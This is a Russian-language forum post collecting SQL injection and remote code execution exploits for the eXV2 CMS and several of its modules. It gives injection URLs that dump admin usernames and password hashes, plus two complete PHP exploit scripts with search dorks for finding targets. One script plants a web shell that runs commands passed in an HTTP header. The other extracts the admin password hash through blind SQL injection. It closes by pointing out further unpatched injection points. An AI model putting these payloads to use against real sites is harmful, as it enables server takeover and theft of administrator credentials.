[ Обзор уязвимостей eXV2 CMS ] Офф.сайт www.exv2.de Версия: myannonces (модуль к eXV2) 1.800, возможно более ранние версии. Воздействие: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "lid" в сценарии annonces-p-f.php (когда параметр "op" установлен в значение "ImprAnn"). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit: Code: modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-9999999/**/union/**/select/**/pass,pass,uname,0x3a,0x3a,0x3a,0x3a,0,0,0,0x3a,0x3a,1/**/from/**/exv2_users/*where%20exv2_admin%201 Версия: Viso (модуль к eXV2) 2.040 и более ранние версии. Воздействие: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.Уязвимость существует из-за недостаточной обработки входных данных в параметре "kid" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit 1: Code: modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201 Exploit 2: Code: modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201 Версия: WebChat (модуль к eXV2) 1.600, возможно более ранние версии. Воздействие: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.Уязвимость существует из-за недостаточной обработки входных данных в параметре "roomid" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit: Code: modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201 Версия: Bama Galerie (модуль к eXV2) 3.041 и более ранние версии. Воздействие: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.Уязвимость существует из-за недостаточной обработки входных данных в параметре "cid" в сценарии viewcat.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit: Code: viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3, concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/* Версия: eXV2 Module eblog 1.2. Воздействие: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «blog_id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit: Code: modules/eblog/index.php?blog_id=-9999999/**/union/**/select/* */concat(uname,0x3a,pass)/**/from/**/e_xoops_users/*where%20exv2_admin%201 Версия: exV2 <= 2.0.4.3 Воздействие: SQL-инъекция позволяет удаленному пользователю выполнить произвольные команды в базе данных приложения, в частности получить имя администратора и хеш его пароля. Exploit 1: Code: #!/usr/bin/php -q -d short_open_tag=on <? print_r(' ------------------------------------------------------------------------------- exV2 <= 2.0.4.3 extract() remote commands execution exploit mail: [email protected] site: http://retrogod.altervista.org dork: "Powered by eXV2 Vers" ------------------------------------------------------------------------------- '); /* this works regardless of php.ini settings two different exploit methods for register_globals=on or off */ if ($argc<4) { print_r(' ----------------------------------------------------------------------------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to exv2 cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80 php '.$argv[0].' 1.1.1.1 / ls -la -p81 ----------------------------------------------------------------------------- '); die; } /* software site: http://www.exv2.de/modules/welcome/ i) vulnerable code in include/common.php : ... // ################# :: Register Globals Compatibility :: ################# $globals_test = @ini_get('register_globals'); if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n"; // These still need some work :: Cookie|Server|Env are ok now. if ( !empty($_GET) ) { extract($_GET, EXTR_SKIP); } if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); } define('_GLOBALS', FALSE); } else { define('_GLOBALS', TRUE); } ... if register_globals = off you can overwrite every var on target server found this exploitation method: some lines after this code we have: ... // ################ Include page-specific lang file ################ // von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language �bernommen wurde if ( isset($xoopsOption['pagetype']) ) { if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) { include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php'); } else { include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php'); } } ... so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder where we have: ... $code=stripslashes(isset($code) ? $code : ""); if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){ $code=str_replace("<","<",$code); $fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w"); fputs ($fp,$code); fclose($fp); header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang.""); exit(); } ... now we can save our shell code in a php file... also, if register_globals = On you can call directly the mail_template.php script to do the same stuff through the extract() bug is also possibile to delete recursively all sites content including the /modules/system/admin/design/include/conf_theme.php script and to upload images without authorization in /images/library folder including the image manager script and setting some vars ii) an sql injection issue, poc: http://retrogod.altervista.org/exv2_2043_sql.html iii) registered user can delete an arbitrary file on target server through avatar upload features, because of a directory traversal in old_avatar argument, passed to an unlink() this is the poc for i) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} //register_globals=off, extract() tricks... $data='-----------------------------7d626f251b00fa Content-Disposition: form-data; name="xoopsOption[pagetype]" ../../include/mail_template -----------------------------7d626f251b00fa Content-Disposition: form-data; name="op_action" save -----------------------------7d626f251b00fa Content-Disposition: form-data; name="mod_path" . -----------------------------7d626f251b00fa Content-Disposition: form-data; name="lang" english -----------------------------7d626f251b00fa Content-Disposition: form-data; name="script" ../../../images/library/placeholder.php -----------------------------7d626f251b00fa Content-Disposition: form-data; name="code" <?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?> -----------------------------7d626f251b00fa-- '; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(2); //register_globals=on $data='-----------------------------7d626f251b00fa Content-Disposition: form-data; name="op_action" save -----------------------------7d626f251b00fa Content-Disposition: form-data; name="mod_path" . -----------------------------7d626f251b00fa Content-Disposition: form-data; name="lang" english -----------------------------7d626f251b00fa Content-Disposition: form-data; name="script" ../images/library/placeholder.php -----------------------------7d626f251b00fa Content-Disposition: form-data; name="code" <?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?> -----------------------------7d626f251b00fa-- '; $packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(2); $packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n"; $packet.="SUNTZU: $cmd\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (strstr($html,"my_delim")) { $temp=explode("my_delim",$html); die($temp[1]); } echo "exploit failed..."; ?> Exploit 2: Code: #!/usr/bin/php -q -d short_open_tag=on <? print_r(' ------------------------------------------------------------------------------- exV2 <= 2.0.4.3 "sort" SQL injection / administrative credentials disclosure exploit mail: [email protected] site: http://retrogod.altervista.org dork: "Powered by eXV2 Vers" ------------------------------------------------------------------------------- '); /* this works regardless of php.ini settings against Mysql >= 4.1 (allowing subs) and if 'messages' module is enabled */ if ($argc<4) { print_r(' ----------------------------------------------------------------------------- Usage: php '.$argv[0].' host path user pass OPTIONS host: target server (ip/hostname) path: path to exv2 user/pass: valide user credentials Options: -T[prefix: specify a table prefix, other than default (exv2_) -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80 php '.$argv[0].' 1.1.1.1 / rgod test -p81 ----------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $uname=$argv[3]; $pass=$argv[4]; $prefix="exv2_"; $port=80; $proxy=""; for ($i=5; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} //login $data="uname=$uname&pass=$pass&op=login"; $packet ="POST ".$p."user.php HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $temp3=explode("\r",$temp2[0]); if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";} $cookie.=$temp3[0]; } echo "cookie ->".$cookie."\n"; //retrieve your user id $packet ="GET ".$p."edituser.php HTTP/1.0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("userinfo.php?uid=",$html); $temp2=explode("'",$temp[1]); $uid=(int)$temp2[0]; echo "uid -> ".$uid."\n"; //configure your message box, needed... $data ="msg_mail=0"; $data.="&msg_showdisc=0"; $data.="&msg_showsend=0"; $data.="&update=0"; $data.="&op=config_save"; $data.="&submit=Save"; $packet ="POST ".$p."modules/messages/conf.php HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); //send to yourself some messages... for ($i=2; $i>=1; $i--) { $data='-----------------------------7d626f251b00fa Content-Disposition: form-data; name="to_userid" '.$uid.' -----------------------------7d626f251b00fa Content-Disposition: form-data; name="subject" 11111111111111111111111'.$i.' -----------------------------7d626f251b00fa Content-Disposition: form-data; name="message" 11111111111111111111111 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="MAX_FILE_SIZE" 256000 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="msg_attachment"; filename="" -----------------------------7d626f251b00fa Content-Disposition: form-data; name="msg_attachment[max_file_size]" 256000 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="msg_attachment[accepted]" -----------------------------7d626f251b00fa Content-Disposition: form-data; name="allow_html" 1 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="allow_smileys" 1 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="allow_bbcode" 1 -----------------------------7d626f251b00fa Content-Disposition: form-data; name="submit" Envoyer -----------------------------7d626f251b00fa-- '; $packet="POST ".$p."modules/messages/pmlite.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: $cookie\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(2); } //let's go... $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters //print_r(array_values($md5s)); $j=1; $my_password=""; while (!strstr($my_password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $sql="(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*"; echo "sql -> ".$sql."\r\n"; $sql=urlencode($sql); $packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (!strstr($html,"111111111111111111111111")){$my_password.=chr($i);echo "password -> ".$my_password."[???]\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $j=1; $my_admin=""; while (!strstr($my_admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*"; echo "sql -> ".$sql."\r\n"; $sql=urlencode($sql); $packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (!strstr($html,"111111111111111111111111")){$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\n";sleep(1);break;} if ($i==255) {die("Exploit failed...");} } $j++; } echo "--------------------------------------------------------------------\n"; echo "admin -> ".$my_admin."\n"; echo "password (md5) -> ".$my_password."\n"; echo "--------------------------------------------------------------------\n"; function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($my_password)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} ?>
Откопал =) Version: 2.0.7.3 Модули входящие в базовый комплект. file: modules/bamagalerie3/rateimg.php blind-sql PHP: if ($ratinguser != 0) { $result=$db->query("select email from ".$db->prefix("bamagalerie3_img")." where id=$id"); while(list($ratinguserDB) = $db->fetch_row($result)) { if ($ratinguserDB == $xoopsUser->email()) { $eh->show("0051"); exit(); } } $result=$db->query("select ratinguser from ".$db->prefix("bamagalerie3_vote")." where id=$id"); while(list($ratinguserDB) = $db->fetch_row($result)) { if ($ratinguserDB == $ratinguser) { $eh->show("0052"); exit(); } } } file: modules/bamagalerie3/navig_cat_show.php blind-sql PHP: $sql = "SELECT * FROM ".$db->prefix("bamagalerie3_img")." WHERE free >= 1 and cid=".$cid; $nav_result = $db->query($sql); $x=1;$bild[0]["id"] = ""; $menge = $db->num_rows($nav_result);